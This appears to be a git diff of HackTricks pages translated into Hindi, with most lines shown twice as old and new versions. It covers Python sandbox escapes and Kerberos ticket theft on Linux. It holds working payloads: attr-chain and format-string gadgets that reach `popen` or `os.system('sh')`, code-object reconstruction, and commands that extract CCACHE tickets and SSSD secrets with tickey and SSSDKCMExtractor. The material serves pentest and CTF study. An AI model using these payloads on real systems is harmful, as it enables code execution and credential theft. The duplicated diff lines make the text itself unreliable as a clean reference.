आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें, बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -266,7 +276,7 @@ Sub['import os; os.system("sh")']
```
#### Creating objects with exceptions
जब एक **exception उत्पन्न होता है** तो **Exception** का एक ऑब्जेक्ट **बनाया जाता है** बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) से):
जब एक **exception को ट्रिगर** किया जाता है, तो **Exception** का एक ऑब्जेक्ट **बनाया** जाता है बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) से):
```python
class RCE(Exception):
def __init__(self):
@ -374,7 +384,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए **जगहों** के दर्जनों/**सैकड़ों** को खोजने में मदद करेगा।
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **जगहों** का पता लगाने में मदद करेगा।
#### Python2 और Python3
```python
@ -418,13 +428,13 @@ class_obj.__init__.__globals__
```
[**नीचे एक बड़ा फ़ंक्शन है**](./#recursive-search-of-builtins-globals) जो **ग्लोबल्स** को खोजने के लिए दर्जनों/**सैकड़ों** **जगहों** को ढूंढता है।
## मनमाने निष्पादन की खोज करें
## मनमाने निष्पादन का पता लगाना
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं** को खोजा जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है।
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है।
#### बायपास के साथ उपकक्षाओं तक पहुँच
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षाओं** तक पहुँच पाना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षाओं** तक पहुँच प्रप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -452,9 +462,9 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### खतरनाक पुस्तकालयों का पता लगाना
### खतरनाक पुस्तकालयों को लोड करना ढूंढना
उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जिनमें sys आयात किया गया है**:
उदाहरण के लिए, यह जानकर कि पुस्तकालय **`sys`** के साथ **मनमाने पुस्तकालयों को आयात करना संभव है**, आप उन सभी **मॉड्यूल्स की खोज कर सकते हैं जो उनके अंदर sys को आयात करते हैं**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -678,7 +688,7 @@ main()
## Python फ़ॉर्मेट स्ट्रिंग
यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए ग्लोबल्स या बिल्ट-इन्स तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए ग्लोबल या बिल्ट-इन तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -698,11 +708,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
ध्यान दें कि आप **attributes** को सामान्य तरीके से **dot** के साथ `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना कोट्स के `__globals__[CONFIG]` से **access** कर सकते हैं।
ध्यान दें कि आप **गुणों** तक सामान्य तरीके से **डॉट** के साथ पहुँच सकते हैं जैसे `people_obj.__init__` और **डिक्ट तत्व** को **कोष्ठकों** के साथ बिना उद्धरण के `__globals__[CONFIG]`
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि **`str`**, **`repr`** और **`ascii`** फ़ंक्शंस को निर्दिष्ट ऑब्जेक्ट में **`!s`**, **`!r`**, **`!a`** जोड़कर **executing** करने की संभावना:
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं **`str`**, **`repr`** और **`ascii`** फ़ंक्शंस को निर्दिष्ट ऑब्जेक्ट में **`!s`**, **`!r`**, **`!a`** जोड़कर **कार्यन्वित** करने की संभावना:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -746,14 +756,14 @@ str(x) # Out: clueless
```
### From format to RCE loading libraries
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, पायथन में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करके
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, जो कि पायथन में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करता है
याद दिलाने के लिए, हर बार जब पायथन में कोई क्रिया की जाती है, तो कुछ फ़ंक्शन निष्पादित होता है। उदाहरण के लिए `2*3` **`(2).mul(3)`** को निष्पादित करेगा या **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** होगा।
याद दिलाने के लिए, हर बार जब पायथन में कोई क्रिया की जाती है, तो कुछ फ़ंक्शन निष्पादित होता है। उदाहरण के लिए `2*3` **`(2).mul(3)`** या **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** को निष्पादित करेगा।
आपके पास इस तरह के और भी उदाहरण हैं [**Python execution without calls**](./#python-execution-without-calls) अनुभाग में।
आपके पास इस तरह की और जानकारी [**Python execution without calls**](./#python-execution-without-calls) अनुभाग में है
एक पायथन फॉर्मेट स्ट्रिंग वल्नरेबिलिटी फ़ंक्शन को निष्पादित करने की अनुमति नहीं देती (यह कोष्ठक का उपयोग करने की अनुमति नहीं देती), इसलिए RCE प्राप्त करना संभव नहीं है जैसे `'{0.system("/bin/sh")}'.format(os)`।\
हालांकि, `[]` का उपयोग करना संभव है। इसलिए, यदि क सामान्य पायथन लाइब्रेरी में **`__getitem__`** या **`__getattr__`** विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
हालांकि, `[]` का उपयोग करना संभव है। इसलिए, यदि किसी सामान्य पायथन लाइब्रेरी में **`__getitem__`** या **`__getattr__`** विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
पायथन में इस तरह के गैजेट की तलाश करते हुए, लेख में यह [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) प्रस्तुत किया गया है। जहाँ उन्होंने यह [एक](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) पाया:
```python
@ -777,7 +787,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
यह गैजेट **डिस्क से एक लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **लाइब्रेरी को लिखने या अपलोड करने** की आवश्यकता है जो हमले के शिकार सर्वर पर सही ढंग से संकलित हो।
यह गैजेट **डिस्क से एक लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, इसे किसी न किसी तरह **लाइब्रेरी को लिखने या अपलोड करने** की आवश्यकता है जो हमले के सर्वर पर सही ढंग से संकलित हो।
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -972,7 +982,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
आपके द्वारा चलाए जा रहे पायथन संस्करण के अनुसार `code_type` के **पैरामीटर** का **विभिन्न क्रम** हो सकता है। यह जानने का सबसे अच्छा तरीका है कि आप जिस पायथन संस्करण को चला रहे हैं, उसमें पैरामीटर का क्रम जानने के लिए चलाएँ:
आपके द्वारा चलाए जा रहे पायथन संस्करण के अनुसार `code_type` के **parameters** का **विभिन्न क्रम** हो सकता है। यह जानने का सबसे अच्छा तरीका है कि आप जिस पायथन संस्करण को चला रहे हैं, उसमें params का क्रम जानने के लिए चलाएँ:
```
import types
types.CodeType.__doc__
@ -983,7 +993,7 @@ types.CodeType.__doc__
### लीक की गई फ़ंक्शन को फिर से बनाना
{% hint style="warning" %}
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक** करने की आवश्यकता होगी।
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से सीधे फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक **वास्तविक उदाहरण** में, फ़ंक्शन **`code_type`** को निष्पादित करने के लिए सभी **मान** वह हैं जो **आपको लीक करने की आवश्यकता होगी**
{% endhint %}
```python
fc = get_flag.__code__
@ -997,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी ऐसा कर सकते हैं).\
In previous examples at the beginning of this post, you can see **कैसे किसी भी python कोड को `compile` फ़ंक्शन का उपयोग करके निष्पादित करें**. यह दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते हैं).\
खैर, कभी-कभी यह **स्थानीय मशीन** में एक **संकलित ऑब्जेक्ट** **बनाने** और इसे **CTF मशीन** में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` फ़ंक्शन नहीं है).
For example, let's compile and execute manually a function that reads _./poc.py_:
@ -1027,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं, तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर विफल हो जाएगा: _constructor restricted mode में उपलब्ध नहीं है।_ इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए **restricted environment में न होने वाला फ़ंक्शन** चाहिए।
यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं, तो आप एक **सही फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर विफल हो जाएगा: _constructor restricted mode में उपलब्ध नहीं है।_ इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए **restricted environment में नहीं होने वाला फ़ंक्शन** चाहिए।
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1035,9 +1045,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## संकलित पायथन को डिकंपाइल करना
## Decompiling Compiled Python
उपकरणों का उपयोग करते हुए जैसे कि [**https://www.decompiler.com/**](https://www.decompiler.com) कोई दिए गए संकलित पायथन कोड को **डिकंपाइल** कर सकता है।
उपकरणों का उपयोग करते हुए जैसे कि [**https://www.decompiler.com/**](https://www.decompiler.com) कोई दिए गए संकलित पायथन कोड को **decompile** कर सकता है।
**इस ट्यूटोरियल को देखें**:
@ -1045,11 +1055,11 @@ f(42)
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %}
## विविध पायथन
## Misc Python
### Assert
पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ चलाने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\
पायथन को ऑप्टिमाइजेशन के साथ `-O` पैरामीटर के साथ निष्पादित करने पर एसेट स्टेटमेंट और **debug** के मान पर आधारित कोई भी कोड हटा दिया जाएगा।\
इसलिए, जाँचें जैसे
```python
def check_permission(super_user):
@ -1070,17 +1080,25 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,17 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
एक लिनक्स मशीन भी एक सक्रिय निर्देशिका वातावरण के अंदर मौजूद हो सकती है।
एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या मशीन के अंदर **root** होना चाहिए।
एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या मशीन के अंदर **रूट** होना चाहिए।
## Enumeration
### AD enumeration from linux
यदि आपके पास लिनक्स (या Windows में bash) में AD पर पहुंच है, तो आप AD को सूचीबद्ध करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं।
यदि आपके पास लिनक्स (या विंडोज में बैश) में AD पर पहुंच है, तो आप AD को सूचीबद्ध करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं।
आप लिनक्स से AD को सूचीबद्ध करने के **अन्य तरीकों**ो जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:
आप लिनक्स से AD को सूचीबद्ध करने के **अन्य तरीकों** के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -33,7 +37,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### FreeIPA
FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की कुंजी वितरण केंद्र के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:
FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की कुंजी वितरण केंद्र के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **प्रमाणपत्र प्रणाली** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **मल्टी-फैक्टर** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
@ -43,7 +47,7 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic
### Pass The Ticket
इस पृष्ठ पर आप विभिन्न स्थानों को पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूप को Kirbi (वह प्रारूप जिसे आपको Windows में उपयोग करना है) में कैसे परिवर्तित किया जाए और साथ ही PTT हमले को कैसे किया जाए:
इस पृष्ठ पर आप विभिन्न स्थान पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप सीख सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (विंडोज में उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और PTT हमले को कैसे किया जाए:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -51,7 +55,7 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic
### CCACHE ticket reuse from /tmp
CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** के द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।
CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ संग्रहीत होती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग सक्षम हो सके।
प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को `env | grep KRB5CCNAME` के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोगकर्ता UID है।
```bash
@ -64,7 +68,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE टिकट पुन: उपयोग कीजिए की रिंग से
**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और `/tmp` में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है।
**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और टिकटों को `/tmp` में डंप करके निकासी को सुविधाजनक बनाता है।
इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है:
```bash
@ -73,20 +77,20 @@ cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफल होने पर `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके संकेत देगी।
यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफलता को `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके दर्शाएगी।
### CCACHE टिकट पुन: उपयोग SSSD KCM से
SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी `/var/lib/sss/secrets/.secrets.mkey` पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास **root** अनुमतियाँ हों।
**`SSSDKCMExtractor`** को --database और --key पैरामीटर के साथ बुलाने से डेटाबेस को पार्स किया जाएगा और **गुप्त को डिक्रिप्ट** किया जाएगा।
\*\*`SSSDKCMExtractor` \*\* को --database और --key पैरामीटर के साथ बुलाने से डेटाबेस को पार्स किया जाएगा और **गुप्त को डिक्रिप्ट** किया जाएगा।
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
The **credential cache Kerberos blob को एक उपयोगी Kerberos CCache** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।
**क्रेडेंशियल कैश कर्बेरोस ब्लॉब को एक उपयोगी कर्बेरोस CCache** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है।
### CCACHE टिकट पुन: उपयोग keytab से
### CCACHE टिकट पुन: उपयोग कीजट से
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
